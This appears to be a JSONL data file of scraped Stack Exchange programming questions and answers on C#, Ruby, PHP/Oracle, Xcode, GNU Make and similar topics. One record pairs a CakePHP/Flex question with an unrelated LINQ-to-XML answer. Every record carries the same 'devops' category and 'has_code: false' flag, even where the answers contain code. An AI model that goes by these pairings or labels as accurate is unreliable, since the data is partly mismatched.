{"id": "hf_6365537d779f", "question": "<p>I want to skin a vb.net app I made ive googled some stuff and I've seen skinned vb.net apps. </p>\n\n<p>However it seems like any time i try to find someone explaining it its a link to  a pay for product.</p>\n\n<p>Does anyone have anything useful on this?</p>\n\n<hr>\n\n<p>I have seen some free ways to do this programatically I cannot seem to make it translate entirely over to my own unique program.</p>\n", "question_body": "", "answer": "Unfortunatly VB.NET does not provide 'skinning' out of the box. It simply uses the standard windows interface. The only changes to the UI are made when you change the display properties.\nI'm not aware of an open source project that provides skinning functionality, however I have used a number of commercial products. By far, one of the best I have used is the Application Styling Framework found in\nNET Advantage\nby Infragistics.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.243883"}
{"id": "hf_b943f2156e48", "question": "<p>When you attempt to declare an unsigned variable in C#.NET with a value outside its value range it is flagged as a compiler error, but if you produce a negative value at runtime and assign it to that variable at runtime the value wraps.</p>\n\n<pre><code>uint z = -1; // Will not compile\n\nuint a = 5;\nuint b = 6;\nuint c = a - b; // Will result in uint.MaxValue\n</code></pre>\n\n<p>Is there a good reason why unsigned variables wrap in such a situation instead of throwing an exception?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Declaring an unassigned variable in C# isn't flagged with an error - trying to assign an invalid value to a variable is. For instance, here's a variable which isn't definitely assigned (assuming it's local) after declaration:\n```\n```\nuint z;\n```\n```\n-1 isn't a valid value for a uint any more than 0.5 is, which is why your example wouldn't compile.\nNow, as for the rest: integers types just wrap on overflow - just as adding 1 to\n```\nint.MaxValue\n```\nreturns\n```\nint.MinValue\n```\n. This is a significant performance improvement over having the program check each operation for overflow - at the cost of potentially not spotting an error.\nThat's only if you're in an unchecked context, mind you - if you perform any of these operations in a checked context, you'll get an exception instead. For instance;\n```\n```\nclass Test\n{\n    static void Main()\n    {\n        checked\n        {\n            uint a = 5;\n            uint b = 6;\n            uint c = a - b;\n        }\n    }\n}\n```\n```\nRun that and you'll see an\n```\nOverflowException\n```\nget thrown. If that's what you want for your whole project, you can set it in the project properties (or compile with the\n```\n/checked+\n```\ncommand line option to\n```\ncsc\n```\n.)\nEDIT: It's worth noting that the other answers have shown that you could put smaller amounts of code in the checked context - just the declaration and assignment of\n```\nc\n```\nor even just the calculation. It's all pretty flexible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.282853"}
{"id": "hf_76e445533ea5", "question": "<p>Is there a mechanism to inject dependencies into Linq to Sql or entity framework entities? If so would it be a sensible approach?</p>\n", "question_body": "", "answer": "What exactly are you after? Note that you can use LINQ-to-SQL without the attributes, if you want to use existing classes... you need to use an\nexternal xml file\nto hold the mappings, and an\n```\nXmlMappingSource\n```\n.\nNote that this won't work with Entity Framework; only LINQ-to-SQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.318481"}
{"id": "hf_52c907ebb0d0", "question": "<p>I have a Ruby DateTime which gets filled from a form. Additionally I have n hours from the form as well. I'd like to subtract those n hours from the previous DateTime. (To get a time range).</p>\n\n<p>DateTime has two methods \"-\" and \"&lt;&lt;\" to subtract day and month, but not hour. (<a href=\"https://ruby-doc.org/stdlib-2.5.1/libdoc/date/rdoc/DateTime.html\" rel=\"noreferrer\">API</a>). Any suggestions how I can do that?</p>\n", "question_body": "", "answer": "If you are working in\nRails\n, the following super-intutive possibility exists:\n```\n```\n> Time.now - 12.hours\n=> 2019-08-19 05:50:43 +0200\n```\n```\n(This also works with\nseconds\n,\nminutes\n,\ndays\n, and\nyears\n)\nif you're using just Ruby,\n```\nDateTime\n```\ncan't do this, but\n```\nTime\n```\ncan:\n```\n```\nt = Time.now\nt = t - (hours*60**2)\n```\n```\nNote that\n```\nTime\n```\nalso stores date information, it's all a little strange.\nIf you have to work with\n```\nDateTime\n```\n```\n```\nDateTime.commercial(date.year,date.month,date.day,date.hour-x,date.minute,date.second)\n```\n```\nmight work, but is ugly. The doc says\n```\nDateTime\n```\nis immutable, so I'm not even sure about\n```\n-\n```\nand\n```\n<<\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.366490"}
{"id": "hf_e738703d626d", "question": "<p>I need advice for rendering an undirected graph with 178,000 nodes and 500,000 edges.  I've tried Neato, Tulip, and Cytoscape.  Neato doesn't even come remotely close, and Tulip and Cytoscape claim they can handle it but don't seem to be able to.  (Tulip does nothing and Cytoscape claims to be working, and then just stops.)</p>\n\n<p>I'd just like a vector format file (ps or pdf) with a remotely reasonable layout of the nodes.</p>\n", "question_body": "", "answer": "Mathematica could very likely handle it, but I have to admit my first reaction was along the lines of the comment that said \"take a piece of paper and color it black.\" Is there no way to reduce the density of the graph?\nA possible issue is that you seem to be looking for layout, not just rendering. I have no knowledge about the Big O characteristics of the layouts implemented by various tools, but intuitively I would guess that it might take a\nlong\ntime to lay out that much data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.438794"}
{"id": "hf_bb4b07470377", "question": "<p>I want to \"remove\" a UIView from a superview and add it again at the end... but at the \"bottom\" of the rest of the UIviews that belong to the superview. </p>\n\n<p>Is this possible?</p>\n\n<p>Any help is very appreciated!</p>\n", "question_body": "", "answer": "Hmmm...\n```\n```\n- (void)insertSubview:(UIView *)view atIndex:(NSInteger)index;\n```\n```\nMight be what you're after?  Alternatively -\n```\n```\n- (void)insertSubview:(UIView *)view belowSubview:(UIView *)siblingSubview;\n```\n```\nThough you could avoid removing the view all together (if you don't need to for any other reason) by calling sendSubviewToBack: -\n```\n```\n- (void)sendSubviewToBack:(UIView *)view;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.474338"}
{"id": "hf_21ad6faeda8c", "question": "<p>My application is logically divided into server, which contain my Grails domain objects and controllers; and client, where I have my Ext GWT classes that build all the UI pages.</p>\n\n<p>For UI requests, I am using an AJAX call to a controller method that returns, for instance, a list of domain objects as a JSON structure.</p>\n\n<p>Following the DRY principle, I wouldn't like to \"serialize\" the domain data to a JSON string on the server then de-serialize it on the client to another structure - I'd like to take advantage of the Domain object I already have, this I don't have to change multiple places when I add, change or remove a new field.</p>\n\n<p>Question is: is that a good way to go? </p>\n\n<p>If yes, how would be the best way to make .groovy domain objects available on the \"client-side\" Ext GWT Java classes?</p>\n\n<p>If no, why is it bad and what would you advice instead?</p>\n", "question_body": "", "answer": "There isnt a good way - you need a java object that is GWT serializable. The only real solution that I can see is to write a plugin (or add to the GWT plugin) a way to autogenerate the data transfer object, perhaps using annotations in a grails domain object.\nA similar method is being used to autogenerate the RPCAsync interfaces in the gwt plugin - see GwtGrailsPlugin.groovy in the gwt plugin directory, line 133 or so is the start.\nYou could hook into that (or just modify that file directly, probably easier) and insert some code to generate the data transfer files. An added benefit could be that you could granularize the data transfer object so that private data (like passwords!) dont get transferred.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.533248"}
{"id": "hf_d0bf6469a3f5", "question": "<p>We have a 3D application that retrieves keyboard presses via the IDirectInputDevice8. Is there any way, when we retrive keyboard events via the win32 API winproc loop back that we can send these commands to the DirectInputDevice?</p>\n", "question_body": "", "answer": "The wndproc will is sent a combination of these messages on keyboard events:\n```\n```\nWM_SYSKEYDOWN\nWM_SYSKEYUP\nWM_KEYDOWN\nWM_KEYUP \nWM_CHAR\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.556567"}
{"id": "hf_503ad6ca5d1c", "question": "<p>I have the requirement of generating UML Diagrams for one of my C++ assignments. I'm using Visio 2007 and I'm having trouble representing C++ vectors. The only way I can see this working is creating a custom C++ datatype or creating a vector class in my project, then for each instance of a vector in the UML, I need to dig into the properties and add <code>&lt;Class&gt;</code> into the suffix field. </p>\n\n<p>Basically I'm trying to get <code>vector&lt;Object&gt;</code> without digging into the properties and adding <code>&lt;Class&gt;</code> to the suffix field every time.</p>\n\n<p>I'm pretty much stuck with Microsoft software for making diagrams and coding so please don't suggest I use different software. However, if Visual Studio 2003 supports making UML Diagrams in a less painful way than Visio, I wouldn't object to using Visual Studio but please tell me where that option is.</p>\n", "question_body": "", "answer": "You don't need to stipulate that it's a vector on the UML diagram.\nIn the example you're giving, there is a one-to-many relationship between one class and another. That's the significant information you need to communicate.\nYou've chosen to implement this as a vector: this is an implementation detail that doesn't need to go on the diagram - just display a one-to-many association.\nIf, for some reason, you need to change this to a std::list, or a std::deque, or any other stl container, you won't need to update the diagram, because the one-to-many concept is still the same.\nRemember that you are displaying an\nabstraction\nof the code.  If you want to convey how all the classes conceptually relate to eachother, a UML class diagram is ideal. \nIf somebody wants to know the details of how it's implemented, he or she can always use the diagram as a starting point before looking at the source code itself.\nFor an example of one-to-many relationships displayed using UML, click\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.580119"}
{"id": "hf_2735616f3df6", "question": "<p>I have a query:</p>\n\n<p>UPDATE choices SET votes = votes + 1 WHERE choice_id = '$user_choice'</p>\n\n<p>But when I execute it in my script, the votes field is updated twice, so the votes will go from 4 to 6 instead to 5. It doesn't seem that it is getting called twice because I echo out stuff to test this and only get one echo. Is there a way to have it so PHP will only execute this query once per page \"refresh\"?</p>\n\n<p><strong>EDIT</strong>: Thanks for the responses, I'm using regular MySQL, no MySQLi or PDO. Another thing I found is that when doing the query, it works when you start out with 0 and update to 1, but then after that it goes 3, 5, 7, ...</p>\n", "question_body": "", "answer": "There are several SQL interfaces for many different brands of database in PHP.  You haven't shown the PHP code you use to execute the query, nor have you identified which brand of database you use.\nIn some SQL interfaces in PHP, creating the statement implicitly executes the SQL.  Then you have the opportunity to fetch results (if it was a SELECT statement).  If your statement was a SELECT or DELETE, it's likely that no harm was done, though it's unnecessary to execute the statement twice.  If your statement was an INSERT or UPDATE, though, you may find it has taken effect twice.\nFor example, using PDO:\n```\n```\n$pdo = new PDO(...options...);\n$stmt = $pdo->query('UPDATE ...'); // executes once\n$stmt->execute(); // executes a second time\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.651810"}
{"id": "hf_fa06f7eac296", "question": "<p>I'm looking at a new project and we are wanting to use Flex (to provide the easy integration with AIR and provide a desktop app for our project). How easy does CakePHP play with Flex or is there a better PHP framework to use with Flex, or should we use none?</p>\n", "question_body": "", "answer": "If LINQ is in your toolbox, I would highly recommend using that to read/write xml as opposed to a DataTable.  It's much more fluent and intuitive and you can control where the nodes go...  wherever you add them to the collection is where they appear in the resulting XML.\nHere's a quick intro and there's a metric ton of information out there on the web about it if you search a bit:\nhttp://www.hookedonlinq.com/LINQtoXML5MinuteOverview.ashx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.741053"}
{"id": "hf_763d7a1ee49a", "question": "<p>What's a simple/easy way to access the system clock using Java, so that I can calculate the elapsed time of an event?</p>\n", "question_body": "", "answer": "```\njava.lang.System.currentTimeMillis()\n```\nor\n```\njava.lang.System.nanoTime()\n```\nought to work to measure elapsed time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.884981"}
{"id": "hf_63c39cc4b885", "question": "<p>If this is possible, please provide a sample query or two so I can see how it would work.  Both tables will be in the same database.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Pseudo code:\n```\n```\ninsert into <target-table>\n( <column-list> )\nselect <columns>\n  from <source-table>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.944507"}
{"id": "hf_55af651a8f0b", "question": "<p>On the latest Ubuntu, I have a functioning PHP 5.2.4 installation.  I want to use a remote Oracle server from PHP using OCI.</p>\n\n<p>I've downloaded the <em>\"Instant Client Package - Basic Lite\"</em> (<a href=\"http://www.oracle.com/technology/software/tech/oci/instantclient/htdocs/linuxsoft.html\" rel=\"nofollow noreferrer\">Link</a>). I've unzipped the package containing the OCI libraries to a dir but I have no idea how to tell PHP that I want to use these libraries. Predictably, I get</p>\n\n<blockquote>\n  <p>Fatal error: Call to undefined function oci_connect() in...</p>\n</blockquote>\n\n<p>when running this code:</p>\n\n<pre><code>&lt;?php \n   $conn = oci_connect('hr', 'hrpw', 'someremotehost');\n?&gt;\n</code></pre>\n\n<p>I don't want to recompile PHP with Oracle support.  What's the fastest way to wire up PHP so that I can use Oracle?  Do I need any other libaries, like the Oracle client if I want to connect to a remote Oracle instance?</p>\n", "question_body": "", "answer": "You need the PHP extension, try the following on your Ubuntu:\n```\n```\n(sudo) pecl install oci8\n```\n```\nMake sure your php.ini's (there should be one for your Apache and one for cli php) contain\n```\nextension=oci8.so\n```\nafterwards. Finally, you have to restart Apache and can confirm via\n```\n<?php phpinfo(); ?>\n```\nthat the extension is loaded.\nUPDATE:\nEnter something like this when it asks you for ORACLE_HOME:\ninstantclient,/opt/oracle/instantclient\nI think setting the environment variable would be another solution. /opt/oracle... is the path I put my instantclient in. I followed some tutorial a while ago, unfortunately I can't find it anmore.\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.972285"}
{"id": "hf_45ac78cb8a26", "question": "<p>How do i take a HTML site that currently has no doctype declaration and make it W3C compliant?</p>\n", "question_body": "", "answer": "First of all: think about\nwhy\nyou need to make it W3C compliant. If it's just for the little badge, then it's not worth it.\nIf you do have a good reason (and there are plenty), then this is what I'd do:\nStart by choosing a doctype. From the sound of it, HTML 4.0 might be the way to go. Run your page through a validator and then look at the error report it gives you. Go through it one by one, fixing each error. Usually the error report will tell you a good deal of information about how to solve each problem and give you the relevant links to the specification.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:14.996130"}
{"id": "hf_94c416afebed", "question": "<p>I began an iPhone project the other day with a silly development code name, and now I want to change the name of the project since it's nearly finished. </p>\n\n<p>But I'm not sure how to do this with Xcode, trying the obvious of changing the application's name in the info.plist file, causes the signing process to go wrong (I think...) and my app won't launch giving me a Launcher error.</p>\n\n<p>I guess I could make a new project and copy paste everything over, but it seems so primitive that I'm hoping for a more civilized solution.</p>\n", "question_body": "", "answer": "Go to\n```\nTargets\n```\nin\n```\nXcode\n```\n.\n```\nBuild Settings\n```\non your project's target (your current development name).\nSearch for\n```\nProduct Name\n```\nunder\n```\nPackaging\n```\n. Change its value to what you want your new project name to be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.020269"}
{"id": "hf_eb0bdb8c4046", "question": "<p>I've never had a reason to put a label element inside of a legend element (never really thought about it or seen it done). But with the design I'm implementing, it's tempting to do so.</p>\n\n<p>Here's what I'm tempted to do:</p>\n\n<pre><code>&lt;fieldset&gt;\n&lt;legend&gt;&lt;label for=\"formInfo\"&gt;I would like information on&lt;/label&gt;&lt;/legend&gt;\n&lt;select id=\"formInfo\"&gt;\n    &lt;option value=\"Cats\"&gt;Cats&lt;/option&gt;\n    &lt;option value=\"Dogs\"&gt;Dogs&lt;/option&gt;\n    &lt;option value=\"Lolz\"&gt;Lolz&lt;/option&gt;\n&lt;/select&gt;\n&lt;/fieldset&gt;\n</code></pre>\n\n<p>It works as expected (clicking the label focuses the corresponding input) in Firefox3, Safari, Opera, and IE6/7 and it passes validation, but I'm just wondering if there are any known reasons (accessibility? semantics? browser issues) why this shouldn't be done</p>\n", "question_body": "", "answer": "well, the label element itself seems fine - it's the description of the \"formInfo\" element, so that's no worries. Semantically, however, what's this saying about the\n```\nlegend\n```\nelement? It's supposed to be a caption for the entire fieldset....", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.068476"}
{"id": "hf_b1a2373d9323", "question": "<p>Is there a simple way to duplicate all child components under parent component, including their published properties?</p>\n\n<p>For example:</p>\n\n<ul>\n<li>TPanel\n\n<ul>\n<li>TLabel</li>\n<li>TEdit</li>\n<li>TListView</li>\n<li>TSpecialClassX</li>\n</ul></li>\n</ul>\n\n<p>Of course the most important factor, it should duplicate any new component which I drop on the TPanel without modifying the code under normal circumstances.</p>\n\n<p>I've heard of the RTTI, but never used it actually. Any ideas?</p>\n", "question_body": "", "answer": "It's actually fairly easy to duplicate existing components at runtime.  The difficult part is to copy all of their published properties to the new (duplicated) objects.\nI'm sorry, but my code example is in C++Builder.  The VCL is the same, just a different language.  It shouldn't be too much trouble to translate it Delphi:\n```\n```\nfor (i = 0; i < ComponentCount; ++i) {\n    TControl *Comp = dynamic_cast<TControl *>(Components[i]);\n    if (Comp) {\n        if (Comp->ClassNameIs(\"TLabel\")) {\n            TLabel *OldLabel = dynamic_cast<TDBEdit *>(Components[i]);\n            TLabel *NewLabel = new TLabel(this);  // new label\n            // copy properties from old to new\n            NewLabel->Top = OldLabel->Top;\n            NewLabel->Left = OldLabel->Left;\n            NewLabel->Caption = Oldlabel->Caption\n            // and so on...\n        } else if (Comp->ClassNameIs(\"TPanel\")) {\n            // copy a TPanel object\n        }\n```\n```\nMaybe somebody has a better method of copying all of the published properties of the old control to the new one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.092205"}
{"id": "hf_cc7fd2752a19", "question": "<p>We use GNU Make for our system.  At the end of our makefiles, we have an include called Makedepends which generates a bunch of .d files using -MM switch on gcc.  We then include the .d file for each .cc file using an include $(CXXFILES:.cc=.d) line.  But when we delete file or move files, the dependancies step breaks and we have to manually delete the .d files (even a make clean doesn't work because the dependencies fail)</p>\n\n<p>Is there a way to generate these dependency .d files or include these dependency .d files which will gracefully handle a file deletion or relocation?</p>\n\n<p>EDIT: For example: I have serial.cc and the makefiles generate a serial.d file which has a dependency on buffer.h but then I change it so I don't need buffer.h any more and I delete buffer.h.  Next time I run make, it will choke because it includes the .d file which still makes serial.o depend on buffer.h.</p>\n", "question_body": "", "answer": "Two possibilities:\nFirst, can you add a rule to your Makefile to run the dependency step:\n```\n```\n.SUFFIXES: .d\n\n%.d::\n   makedepend_command_here\n```\n```\nIf not, then from the\n```\nLast Resort\n```\nsection of the\n```\ninfo\n```\npage for GNU Make:\nFor example, when testing a\n  makefile, you might not care if the\n  source files contain real data, only\n  that they exist.  Then you might do\n  this:\n```\n```\n%::\n         touch $@\n```\n```\nto cause all the source files needed\n  (as prerequisites) to be created\n  automatically.\nWill this work to create empty\n```\n.d\n```\nfiles for you?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.116224"}
{"id": "hf_731fe58a6e3a", "question": "<p>I have a third-party product, a terminal emulator, which provides a DLL that can be linked to a C program to basically automate the driving of this product (send keystrokes, detect what's on the screen and so forth).</p>\n\n<p>I want to drive it from a scripting language (I'm comfortable with Python and slightly less so with Perl) so that we don't have to compile and send out executables to our customers whenever there's a problem found.</p>\n\n<p>We also want the customers to be able to write their own scripts using ours as baselines and they won't entertain the idea of writing and compiling C code.</p>\n\n<p>What's a good way of getting Python/Perl to interface to a Windows DLL. My first thought was to write a server program and have a Python script communicate with it via TCP but there's got to be an easier solution.</p>\n", "question_body": "", "answer": "One way to call C libraries from Python is to use\nctypes\n:\n```\n```\n>>> from ctypes import *\n>>> windll.user32.MessageBoxA(None, \"Hello world\", \"ctypes\", 0);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.165254"}
{"id": "hf_fcf5878dd8bd", "question": "<p>I am trying to mock out HttpContext so that I can unit test my controller's Request.IsAuthenicated call. I am using the <a href=\"http://www.hanselman.com/blog/ASPNETMVCSessionAtMix08TDDAndMvcMockHelpers.aspx\" rel=\"noreferrer\">code that I found at Scott Hanselman's</a> blog to simulate HttpContext using rhino.mocks. \nso i have this unit test piece:</p>\n\n<pre><code>PostsController postsController = new PostsController(postDL);\nmocks.SetFakeControllerContext(postsController);\nExpect.Call(postsController.Request.IsAuthenticated).Return(true);\n</code></pre>\n\n<p>In my controller action, I have something like\n<code>if(Request.IsAuthenticated)....</code>\nwhen  I try to run the unit test, the test fails throwing a null exception, and when I try to debug the unit test, I see that the HttpContext is never assigned to the controller.\nany ideas?</p>\n", "question_body": "", "answer": "Now, for disclosure, I have yet to get my hands dirty with most of the stuff you are working with, however:\nIf you want to mock the IsAuthenticated, why not just create a static class to return a bool that can the be manipulated by your test code?\nThis is a bit rough round the edges, but hopefully you get the idea:\n```\n```\ninterface IAuthenticationChecker\n{\n    bool IsAuthenticated { get; }\n}\n\npublic class MockAuthenticationChecker : IAuthenticationChecker\n{\n    static bool _authenticated = false;\n\n    public static void SetAuthenticated(bool value)\n    {\n        _authenticated = value;\n    }\n    #region IAuthenticationChecker Members\n\n    public bool IsAuthenticated\n    {\n        get { return _authenticated; }\n    }\n\n    #endregion\n}\n\npublic class RequestAuthenticationChecker : IAuthenticationChecker\n{\n\n    #region IAuthenticationChecker Members\n\n    public bool IsAuthenticated\n    {\n        get {\n            if (HttpContext.Current == null)\n                throw new ApplicationException(\n                    \"Unable to Retrieve IsAuthenticated for Request becuse there is no current HttpContext.\");\n\n            return HttpContext.Current.Request.IsAuthenticated;\n        }\n    }\n\n    #endregion\n}\n```\n```\nYou can then use a reference to either at app level, yeah it means you have to add a reference at app level, and you need to use a different ref rather than Request, but you also get complete control over the authentication for testing :)\nFYI - this is totally open to being blown apart, I threw it together in about a minute :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.227296"}
{"id": "hf_de1ed6034aa2", "question": "<p>I came across an article about Car remote entry system at <a href=\"http://auto.howstuffworks.com/remote-entry2.htm\" rel=\"nofollow noreferrer\">http://auto.howstuffworks.com/remote-entry2.htm</a> In the third bullet, author says,</p>\n\n<blockquote>\n  <p>Both the transmitter and the receiver use the same pseudo-random number generator. When the transmitter sends a 40-bit code, it uses the pseudo-random number generator to pick a new code, which it stores in memory. On the other end, when the receiver receives a valid code, it uses the same pseudo-random number generator to pick a new one. In this way, the transmitter and the receiver are synchronized. The receiver only opens the door if it receives the code it expects.</p>\n</blockquote>\n\n<p>Is it possible to have two PRNG functions producing same random numbers at the same time? </p>\n", "question_body": "", "answer": "In PRNG functions, the output of the function is dependent on a 'seed' value, such that the same output will be provided from successive calls given the same seed value. So, yes.\nAn example (using C#) would be something like:\n```\n```\n// Provide the same seed value for both generators:\nSystem.Random r1 = new System.Random(1);\nSystem.Random r2 = new System.Random(1);\n\n// Will output 'True'\nConsole.WriteLine(r1.Next() == r2.Next());\n```\n```\nThis is all of course dependent on the random number generator using some sort of deterministic formula to generate its values. If you use a so-called 'true random' number generator that uses properties of entropy or noise in its generation, then it would be very difficult to produce the same values given some input, unless you're able to duplicate the entropic state for both calls into the function - which, of course, would defeat the purpose of using such a generator...\nIn the case of remote keyless entry systems, they very likely use a PRNG function that is deterministic in order to take advantage of this feature. There are many ICs that provide this sort of functionality to produce random numbers for electronic circuits.\nEdit: upon request, here is an example of a non-deterministic random number generator which doesn't rely upon a specified seed value:\nQuantum Random Number Generator\n. Of course, as freespace points out in the comments, this is not a pseudorandom number generator, since it generates truly random numbers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.251648"}
{"id": "hf_d557d6538644", "question": "<p>I have a char in c#:</p>\n\n<pre><code>char foo = '2';\n</code></pre>\n\n<p>Now I want to get the 2 into an int.  I find that Convert.ToInt32 returns the actual decimal value of the char and not the number 2.  The following will work:</p>\n\n<pre><code>int bar = Convert.ToInt32(new string(foo, 1));\n</code></pre>\n\n<p>int.parse only works on strings as well.  </p>\n\n<p>Is there no native function in C# to go from a char to int without making it a string?  I know this is trivial but it just seems odd that there's nothing native to directly make the conversion.</p>\n", "question_body": "", "answer": "This will convert it to an\n```\nint\n```\n:\n```\n```\nchar foo = '2';\nint bar = foo - '0';\n```\n```\nThis works because each character is internally represented by a number. The characters\n```\n'0'\n```\nto\n```\n'9'\n```\nare represented by consecutive numbers, so finding the difference between the characters\n```\n'0'\n```\nand\n```\n'2'\n```\nresults in the number 2.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.287839"}
{"id": "hf_9480b3790abc", "question": "<p>Just to clarify, I'm running Sybase 12.5.3, but I am lead to believe that this holds true for SQL Server 2005 too. Basically, I'm trying to write a query that looks a little like this, I've simplified it as much as possible to highlight the problem:</p>\n\n<pre><code>DECLARE @a int,  @b int, @c int\n\nSELECT\n     @a = huzzah.a\n    ,@b = huzzah.b\n    ,@c = huzzah.c\nFROM (\n    SELECT\n         1 a\n        ,2 b\n        ,3 c\n) huzzah\n</code></pre>\n\n<p>This query gives me the following error: <em>\"Error:141 A SELECT statement that assigns a value to a variable must not be combined with data-retrieval operations.\"</em></p>\n\n<p>The only work around that I've got for this so far, is to insert the derived-table data into a temporary table and then select it right back out again. Which works fine, but the fact that this doesn't work irks me. Is there a better way to do this?</p>\n", "question_body": "", "answer": "I've just ran your code against 12.5.3 and it parses fine...doesn't return anything but it does run. Have you maybe simplified the problem a bit too much because I'm not seeing any error messages at all.\nJust to be clear, the following runs and returns what you'd expect.\n```\n```\nDECLARE @a int,  @b int, @c int\n\nSELECT\n     @a = huzzah.a\n    ,@b = huzzah.b\n    ,@c = huzzah.c\nFROM (\n    SELECT\n         1 a\n        ,2 b\n        ,3 c\n) huzzah\n\nselect @a\nselect @b\nselect @c\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.311668"}
